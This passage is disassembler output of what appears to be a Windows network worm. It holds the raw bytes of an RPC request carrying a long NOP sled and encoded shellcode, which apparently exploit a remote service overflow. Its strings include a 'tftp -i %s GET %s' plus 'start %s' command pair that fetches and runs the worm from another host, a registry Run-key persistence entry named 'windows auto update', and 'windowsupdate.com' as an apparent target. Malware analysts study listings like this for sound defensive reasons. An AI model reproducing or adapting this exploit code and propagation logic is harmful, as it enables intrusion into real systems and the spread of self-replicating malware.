; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0ABh ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0A5h ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0A6h ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0A4h ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0ADh ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0AAh ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 7 ; db 0 ; db 0 ; db 0 ; db 60h ; ` db 0 ; db 0 ; db 0 ; db 58h ; X db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 40h ; @ db 0 ; db 0 ; db 0 ; db 20h ; db 0 ; db 0 ; db 0 ; db 78h ; x db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 1 ; db 10h ; db 8 ; db 0 ; db 0CCh ; db 0CCh ; db 0CCh ; db 0CCh ; db 50h ; P db 0 ; db 0 ; db 0 ; db 4Fh ; O db 0B6h ; db 88h ; db 20h ; db 0FFh ; db 0FFh ; db 0FFh ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 10h ; db 8 ; db 0 ; db 0CCh ; db 0CCh ; db 0CCh ; db 0CCh ; db 48h ; H db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 66h ; f db 0 ; db 6 ; db 9 ; db 2 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 10h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 78h ; x db 19h ; db 0Ch ; db 0 ; db 58h ; X db 0 ; db 0 ; db 0 ; db 5 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 70h ; p db 0D8h ; db 98h ; db 93h ; db 98h ; db 4Fh ; O db 0D2h ; db 11h ; db 0A9h ; db 3Dh ; = db 0BEh ; db 57h ; W db 0B2h ; db 0 ; db 0 ; db 0 ; db 32h ; 2 db 0 ; db 31h ; 1 db 0 ; db 1 ; db 10h ; db 8 ; db 0 ; db 0CCh ; db 0CCh ; db 0CCh ; db 0CCh ; db 80h ; db 0 ; db 0 ; db 0 ; db 0Dh ; db 0F0h ; db 0ADh ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 18h ; db 43h ; C db 14h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 60h ; ` db 0 ; db 0 ; db 0 ; db 60h ; ` db 0 ; db 0 ; db 0 ; db 4Dh ; M db 45h ; E db 4Fh ; O db 57h ; W db 4 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 3Bh ; ; db 3 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0 ; db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 1 ; db 0 ; db 81h ; db 0C5h ; db 17h ; db 3 ; db 80h ; db 0Eh ; db 0E9h ; db 4Ah ; J db 99h ; db 99h ; db 0F1h ; db 8Ah ; db 50h ; P db 6Fh ; o db 7Ah ; z db 85h ; db 2 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 1 ; db 10h ; db 8 ; db 0 ; db 0CCh ; db 0CCh ; db 0CCh ; db 0CCh ; db 30h ; 0 db 0 ; db 0 ; db 0 ; db 78h ; x db 0 ; db 6Eh ; n db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0D8h ; db 0DAh ; db 0Dh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 20h ; db 2Fh ; / db 0Ch ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0 ; db 58h ; X db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 10h ; db 8 ; db 0 ; db 0CCh ; db 0CCh ; db 0CCh ; db 0CCh ; db 10h ; db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 2Eh ; . db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 10h ; db 8 ; db 0 ; db 0CCh ; db 0CCh ; db 0CCh ; db 0CCh ; db 68h ; h db 0 ; db 0 ; db 0 ; db 0Eh ; db 0 ; db 0FFh ; db 0FFh ; db 68h ; h db 8Bh ; db 0Bh ; db 0 ; db 2 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 20h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 20h ; db 0 ; db 0 ; db 0 ; db 5Ch ; \ db 0 ; db 5Ch ; \ db 0 ; db 5Ch ; \ db 0 ; db 43h ; C db 0 ; db 24h ; $ db 0 ; db 5Ch ; \ db 0 ; db 31h ; 1 db 0 ; db 32h ; 2 db 0 ; db 33h ; 3 db 0 ; db 34h ; 4 db 0 ; db 35h ; 5 db 0 ; db 36h ; 6 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 31h ; 1 db 0 ; db 2Eh ; . db 0 ; db 64h ; d db 0 ; db 6Fh ; o db 0 ; db 63h ; c db 0 ; db 0 ; db 0 ; db 46h ; F db 0 ; db 58h ; X db 0 ; db 4Eh ; N db 0 ; db 42h ; B db 0 ; db 46h ; F db 0 ; db 58h ; X db 0 ; db 46h ; F db 0 ; db 58h ; X db 0 ; db 4Eh ; N db 0 ; db 42h ; B db 0 ; db 46h ; F db 0 ; db 58h ; X db 0 ; db 46h ; F db 0 ; db 58h ; X db 0 ; db 46h ; F db 0 ; db 58h ; X db 0 ; db 46h ; F db 0 ; db 58h ; X db 0 ; db 0FFh ; db 0FFh ; db 0FFh ; db 0FFh ; db 0CCh ; db 0E0h ; db 0FDh ; db 7Fh ;  db 0CCh ; db 0E0h ; db 0FDh ; db 7Fh ;  db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 90h ; db 0EBh ; db 19h ; db 5Eh ; ^ db 31h ; 1 db 0C9h ; db 81h ; db 0E9h ; db 89h ; db 0FFh ; db 0FFh ; db 0FFh ; db 81h ; db 36h ; 6 db 80h ; db 0BFh ; db 32h ; 2 db 94h ; db 81h ; db 0EEh ; db 0FCh ; db 0FFh ; db 0FFh ; db 0FFh ; db 0E2h ; db 0F2h ; db 0EBh ; db 5 ; db 0E8h ; db 0E2h ; db 0FFh ; db 0FFh ; db 0FFh ; db 3 ; db 53h ; S db 6 ; db 1Fh ; db 74h ; t db 57h ; W db 75h ; u db 95h ; db 80h ; db 0BFh ; db 0BBh ; db 92h ; db 7Fh ;  db 89h ; db 5Ah ; Z db 1Ah ; db 0CEh ; db 0B1h ; db 0DEh ; db 7Ch ; | db 0E1h ; db 0BEh ; db 32h ; 2 db 94h ; db 9 ; db 0F9h ; db 3Ah ; : db 6Bh ; k db 0B6h ; db 0D7h ; db 9Fh ; db 4Dh ; M db 85h ; db 71h ; q db 0DAh ; db 0C6h ; db 81h ; db 0BFh ; db 32h ; 2 db 1Dh ; db 0C6h ; db 0B3h ; db 5Ah ; Z db 0F8h ; db 0ECh ; db 0BFh ; db 32h ; 2 db 0FCh ; db 0B3h ; db 8Dh ; db 1Ch ; db 0F0h ; db 0E8h ; db 0C8h ; db 41h ; A db 0A6h ; db 0DFh ; db 0EBh ; db 0CDh ; db 0C2h ; db 88h ; db 36h ; 6 db 74h ; t db 90h ; db 7Fh ;  db 89h ; db 5Ah ; Z db 0E6h ; db 7Eh ; ~ db 0Ch ; db 24h ; $ db 7Ch ; | db 0ADh ; db 0BEh ; db 32h ; 2 db 94h ; db 9 ; db 0F9h ; db 22h ; " db 6Bh ; k db 0B6h ; db 0D7h ; db 4Ch ; L db 4Ch ; L db 62h ; b db 0CCh ; db 0DAh ; db 8Ah ; db 81h ; db 0BFh ; db 32h ; 2 db 1Dh ; db 0C6h ; db 0ABh ; db 0CDh ; db 0E2h ; db 84h ; db 0D7h ; db 0F9h ; db 79h ; y db 7Ch ; | db 84h ; db 0DAh ; db 9Ah ; db 81h ; db 0BFh ; db 32h ; 2 db 1Dh ; db 0C6h ; db 0A7h ; db 0CDh ; db 0E2h ; db 84h ; db 0D7h ; db 0EBh ; db 9Dh ; db 75h ; u db 12h ; db 0DAh ; db 6Ah ; j db 80h ; db 0BFh ; db 32h ; 2 db 1Dh ; db 0C6h ; db 0A3h ; db 0CDh ; db 0E2h ; db 84h ; db 0D7h ; db 96h ; db 8Eh ; db 0F0h ; db 78h ; x db 0DAh ; db 7Ah ; z db 80h ; db 0BFh ; db 32h ; 2 db 1Dh ; db 0C6h ; db 9Fh ; db 0CDh ; db 0E2h ; db 84h ; db 0D7h ; db 96h ; db 39h ; 9 db 0AEh ; db 56h ; V db 0DAh ; db 4Ah ; J db 80h ; db 0BFh ; db 32h ; 2 db 1Dh ; db 0C6h ; db 9Bh ; db 0CDh ; db 0E2h ; db 84h ; db 0D7h ; db 0D7h ; db 0DDh ; db 6 ; db 0F6h ; db 0DAh ; db 5Ah ; Z db 80h ; db 0BFh ; db 32h ; 2 db 1Dh ; db 0C6h ; db 97h ; db 0CDh ; db 0E2h ; db 84h ; db 0D7h ; db 0D5h ; db 0EDh ; db 46h ; F db 0C6h ; db 0DAh ; db 2Ah ; * db 80h ; db 0BFh ; db 32h ; 2 db 1Dh ; db 0C6h ; db 93h ; db 1 ; db 6Bh ; k db 1 ; db 53h ; S db 0A2h ; db 95h ; db 80h ; db 0BFh ; db 66h ; f db 0FCh ; db 81h ; db 0BEh ; db 32h ; 2 db 94h ; db 7Fh ;  db 0E9h ; db 2Ah ; * db 0C4h ; db 0D0h ; db 0EFh ; db 62h ; b db 0D4h ; db 0D0h ; db 0FFh ; db 62h ; b db 6Bh ; k db 0D6h ; db 0A3h ; db 0B9h ; db 4Ch ; L db 0D7h ; db 0E8h ; db 5Ah ; Z db 96h ; db 80h ; db 0AEh ; db 6Eh ; n db 1Fh ; db 4Ch ; L db 0D5h ; db 24h ; $ db 0C5h ; db 0D3h ; db 40h ; @ db 64h ; d db 0B4h ; db 0D7h ; db 0ECh ; db 0CDh ; db 0C2h ; db 0A4h ; db 0E8h ; db 63h ; c db 0C7h ; db 7Fh ;  db 0E9h ; db 1Ah ; db 1Fh ; db 50h ; P db 0D7h ; db 57h ; W db 0ECh ; db 0E5h ; db 0BFh ; db 5Ah ; Z db 0F7h ; db 0EDh ; db 0DBh ; db 1Ch ; db 1Dh ; db 0E6h ; db 8Fh ; db 0B1h ; db 78h ; x db 0D4h ; db 32h ; 2 db 0Eh ; db 0B0h ; db 0B3h ; db 7Fh ;  db 1 ; db 5Dh ; ] db 3 ; db 7Eh ; ~ db 27h ; ' db 3Fh ; ? db 62h ; b db 42h ; B db 0F4h ; db 0D0h ; db 0A4h ; db 0AFh ; db 76h ; v db 6Ah ; j db 0C4h ; db 9Bh ; db 0Fh ; db 1Dh ; db 0D4h ; db 9Bh ; db 7Ah ; z db 1Dh ; db 0D4h ; db 9Bh ; db 7Eh ; ~ db 1Dh ; db 0D4h ; db 9Bh ; db 62h ; b db 19h ; db 0C4h ; db 9Bh ; db 22h ; " db 0C0h ; db 0D0h ; db 0EEh ; db 63h ; c db 0C5h ; db 0EAh ; db 0BEh ; db 63h ; c db 0C5h ; db 7Fh ;  db 0C9h ; db 2 ; db 0C5h ; db 7Fh ;  db 0E9h ; db 22h ; " db 1Fh ; db 4Ch ; L db 0D5h ; db 0CDh ; db 6Bh ; k db 0B1h ; db 40h ; @ db 64h ; d db 98h ; db 0Bh ; db 77h ; w db 65h ; e db 6Bh ; k db 0D6h ; db 93h ; db 0CDh ; db 0C2h ; db 94h ; db 0EAh ; db 64h ; d db 0F0h ; db 21h ; ! db 8Fh ; db 32h ; 2 db 94h ; db 80h ; db 3Ah ; : db 0F2h ; db 0ECh ; db 8Ch ; db 34h ; 4 db 72h ; r db 98h ; db 0Bh ; db 0CFh ; db 2Eh ; . db 39h ; 9 db 0Bh ; db 0D7h ; db 3Ah ; : db 7Fh ;  db 89h ; db 34h ; 4 db 72h ; r db 0A0h ; db 0Bh ; db 17h ; db 8Ah ; db 94h ; db 80h ; db 0BFh ; db 0B9h ; db 51h ; Q db 0DEh ; db 0E2h ; db 0F0h ; db 90h ; db 80h ; db 0ECh ; db 67h ; g db 0C2h ; db 0D7h ; db 34h ; 4 db 5Eh ; ^ db 0B0h ; db 98h ; db 34h ; 4 db 77h ; w db 0A8h ; db 0Bh ; db 0EBh ; db 37h ; 7 db 0ECh ; db 83h ; db 6Ah ; j db 0B9h ; db 0DEh ; db 98h ; db 34h ; 4 db 68h ; h db 0B4h ; db 83h ; db 62h ; b db 0D1h ; db 0A6h ; db 0C9h ; db 34h ; 4 db 6 ; db 1Fh ; db 83h ; db 4Ah ; J db 1 ; db 6Bh ; k db 7Ch ; | db 8Ch ; db 0F2h ; db 38h ; 8 db 0BAh ; db 7Bh ; { db 46h ; F db 93h ; db 41h ; A db 70h ; p db 3Fh ; ? db 97h ; db 78h ; x db 54h ; T db 0C0h ; db 0AFh ; db 0FCh ; db 9Bh ; db 26h ; & db 0E1h ; db 61h ; a db 34h ; 4 db 68h ; h db 0B0h ; db 83h ; db 62h ; b db 54h ; T db 1Fh ; db 8Ch ; db 0F4h ; db 0B9h ; db 0CEh ; db 9Ch ; db 0BCh ; db 0EFh ; db 1Fh ; db 84h ; db 34h ; 4 db 31h ; 1 db 51h ; Q db 6Bh ; k db 0BDh ; db 1 ; db 54h ; T db 0Bh ; db 6Ah ; j db 6Dh ; m db 0CAh ; db 0DDh ; db 0E4h ; db 0F0h ; db 90h ; db 80h ; db 2Fh ; / db 0A2h ; db 4 ; db 0 ; db 1 ; db 10h ; db 8 ; db 0 ; db 0CCh ; db 0CCh ; db 0CCh ; db 0CCh ; db 20h ; db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 2Dh ; - db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 88h ; db 2Ah ; * db 0Ch ; db 0 ; db 2 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 28h ; ( db 8Ch ; db 0Ch ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; aWindowsupdate_ db 'windowsupdate.com',0 ; DATA XREF: StartAddress+Eo aS_0 db '%s',0Ah,0 ; DATA XREF: sub_401929+47Fo aStartS db 'start %s',0Ah,0 ; DATA XREF: sub_401929+432o aTftpISGetS db 'tftp -i %s GET %s',0Ah,0 ; DATA XREF: sub_401929+3C4o aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_401929+36Eo aI_I_I_I db '%i.%i.%i.%i',0 ; DATA XREF: sub_401777+8Co ; sub_401F36+66o aRb db 'rb',0 ; DATA XREF: sub_401576+BAo aMd_: ; DATA XREF: sub_401250+2CBo ; sub_401250+2B2o ... unicode 0, aS db '%s',0 ; DATA XREF: sub_401250+17Bo aBilly db 'BILLY',0 ; DATA XREF: sub_401250+4Fo aWindowsAutoUpd db 'windows auto update',0 ; DATA XREF: sub_401250+3Ao aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_401250+20o align 4 _data ends ; ; Imports from WS2_32.DLL ; ; Section 4. (virtual address 00005000) ; Virtual size : 000006C0 ( 1728.) ; Section size in file : 000006C0 ( 1728.) ; Offset to raw data for section: 00002400 ; Flags C0000060: Text Data Readable Writable ; Alignment : 16 bytes ? ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Externs ; _idata ; u_short __stdcall __imp_htons(u_short hostshort) extrn __imp_htons:dword ; DATA XREF: htonsr ; int __stdcall __imp_ioctlsocket(SOCKET s,__int32 cmd,u_long *argp) extrn __imp_ioctlsocket:dword ; DATA XREF: ioctlsocketr ; unsigned __int32 __stdcall __imp_inet_addr(const char *cp) extrn __imp_inet_addr:dword ; DATA XREF: inet_addrr ; char *__stdcall __imp_inet_ntoa(struct in_addr in) extrn __imp_inet_ntoa:dword ; DATA XREF: inet_ntoar ; int __stdcall __imp_recvfrom(SOCKET s,char *buf,int len,int flags,struct sockaddr *from,int *fromlen) extrn __imp_recvfrom:dword ; DATA XREF: recvfromr ; int __stdcall __imp_select(int nfds,fd_set *readfds,fd_set *writefds,fd_set *exceptfds,const struct timeval *timeout) extrn __imp_select:dword ; DATA XREF: selectr ; int __stdcall __imp_send(SOCKET s,const char *buf,int len,int flags) extrn __imp_send:dword ; DATA XREF: sendr ; int __stdcall __imp_sendto(SOCKET s,const char *buf,int len,int flags,const struct sockaddr *to,int tolen) extrn __imp_sendto:dword ; DATA XREF: sendtor ; int __stdcall __imp_setsockopt(SOCKET s,int level,int optname,const char *optval,int optlen) extrn __imp_setsockopt:dword ; DATA XREF: setsockoptr ; SOCKET __stdcall __imp_socket(int af,int type,int protocol) extrn __imp_socket:dword ; DATA XREF: socketr ; struct hostent *__stdcall __imp_gethostbyname(const char *name) extrn __imp_gethostbyname:dword ; DATA XREF: gethostbynamer ; int __stdcall __imp_bind(SOCKET s,const struct sockaddr *name,int namelen) extrn __imp_bind:dword ; DATA XREF: bindr ; int __stdcall __imp_gethostname(char *name,int namelen) extrn __imp_gethostname:dword ; DATA XREF: gethostnamer ; int __stdcall __imp_closesocket(SOCKET s) extrn __imp_closesocket:dword ; DATA XREF: closesocketr ; int __stdcall __imp_WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData) extrn __imp_WSAStartup:dword ; DATA XREF: WSAStartupr ; int _imp_WSACleanup(void) extrn __imp_WSACleanup:dword ; DATA XREF: WSACleanupr ; int __stdcall __imp_connect(SOCKET s,const struct sockaddr *name,int namelen) extrn __imp_connect:dword ; DATA XREF: connectr ; int __stdcall __imp_getpeername(SOCKET s,struct sockaddr *name,int *namelen) extrn __imp_getpeername:dword ; DATA XREF: getpeernamer ; int __stdcall __imp_getsockname(SOCKET s,struct sockaddr *name,int *namelen) extrn __imp_getsockname:dword ; DATA XREF: getsocknamer ; SOCKET __stdcall __imp_WSASocketA(int af,int type,int protocol,LPWSAPROTOCOL_INFOA lpProtocolInfo,GROUP g,DWORD dwFlags) extrn __imp_WSASocketA:dword ; DATA XREF: WSASocketAr ; ; Imports from WININET.DLL ; extrn __imp_InternetGetConnectedState:dword ; DATA XREF: InternetGetConnectedStater ; ; Imports from KERNEL32.DLL ; ; void __stdcall __imp_ExitProcess(UINT uExitCode) extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcessr ; void __stdcall __imp_ExitThread(DWORD dwExitCode) extrn __imp_ExitThread:dword ; DATA XREF: ExitThreadr ; LPSTR _imp_GetCommandLineA(void) extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr ; int __stdcall __imp_GetDateFormatA(LCID Locale,DWORD dwFlags,const SYSTEMTIME *lpDate,LPCSTR lpFormat,LPSTR lpDateStr,int cchDate) extrn __imp_GetDateFormatA:dword ; DATA XREF: GetDateFormatAr ; DWORD _imp_GetLastError(void) extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr ; DWORD __stdcall __imp_GetModuleFileNameA(HMODULE hModule,LPSTR lpFilename,DWORD nSize) extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr ; HMODULE __stdcall __imp_GetModuleHandleA(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA:dword ; DATA XREF: GetModuleHandleAr ; BOOL __stdcall __imp_CloseHandle(HANDLE hObject) extrn __imp_CloseHandle:dword ; DATA XREF: CloseHandler ; DWORD _imp_GetTickCount(void) extrn __imp_GetTickCount:dword ; DATA XREF: GetTickCountr extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr ; HANDLE __stdcall __imp_CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName) extrn __imp_CreateMutexA:dword ; DATA XREF: CreateMutexAr ; void __stdcall __imp_Sleep(DWORD dwMilliseconds) extrn __imp_Sleep:dword ; DATA XREF: Sleepr ; BOOL __stdcall __imp_TerminateThread(HANDLE hThread,DWORD dwExitCode) extrn __imp_TerminateThread:dword ; DATA XREF: TerminateThreadr ; HANDLE __stdcall __imp_CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,DWORD dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId) extrn __imp_CreateThread:dword ; DATA XREF: CreateThreadr ; ; Imports from ADVAPI32.DLL ; ; LONG __stdcall __imp_RegCloseKey(HKEY hKey) extrn __imp_RegCloseKey:dword ; DATA XREF: RegCloseKeyr ; LONG __stdcall __imp_RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition) extrn __imp_RegCreateKeyExA:dword ; DATA XREF: RegCreateKeyExAr ; LONG __stdcall __imp_RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData) extrn __imp_RegSetValueExA:dword ; DATA XREF: RegSetValueExAr ; ; Imports from CRTDLL.DLL ; extrn __imp___GetMainArgs:dword ; DATA XREF: __GetMainArgsr ; int __cdecl _imp_atoi(const char *) extrn __imp_atoi:dword ; DATA XREF: atoir ; void __cdecl _imp_exit(int) extrn __imp_exit:dword ; DATA XREF: exitr extrn __imp_fclose:dword ; DATA XREF: fcloser extrn __imp_fopen:dword ; DATA XREF: fopenr extrn __imp_fread:dword ; DATA XREF: freadr ; void *__cdecl _imp_memcpy(void *,const void *,size_t) extrn __imp_memcpy:dword ; DATA XREF: memcpyr ; void *__cdecl _imp_memset(void *,int,size_t) extrn __imp_memset:dword ; DATA XREF: memsetr extrn __imp_raise:dword ; DATA XREF: raiser ; int _imp_rand(void) extrn __imp_rand:dword ; DATA XREF: randr extrn __imp_signal:dword ; DATA XREF: signalr extrn __imp_sprintf:dword ; DATA XREF: sprintfr ; void __cdecl _imp_srand(unsigned int) extrn __imp_srand:dword ; DATA XREF: srandr ; char *__cdecl _imp_strchr(const char *,int) extrn __imp_strchr:dword ; DATA XREF: strchrr ; char *__cdecl _imp_strtok(char *,const char *) extrn __imp_strtok:dword ; DATA XREF: strtokr end start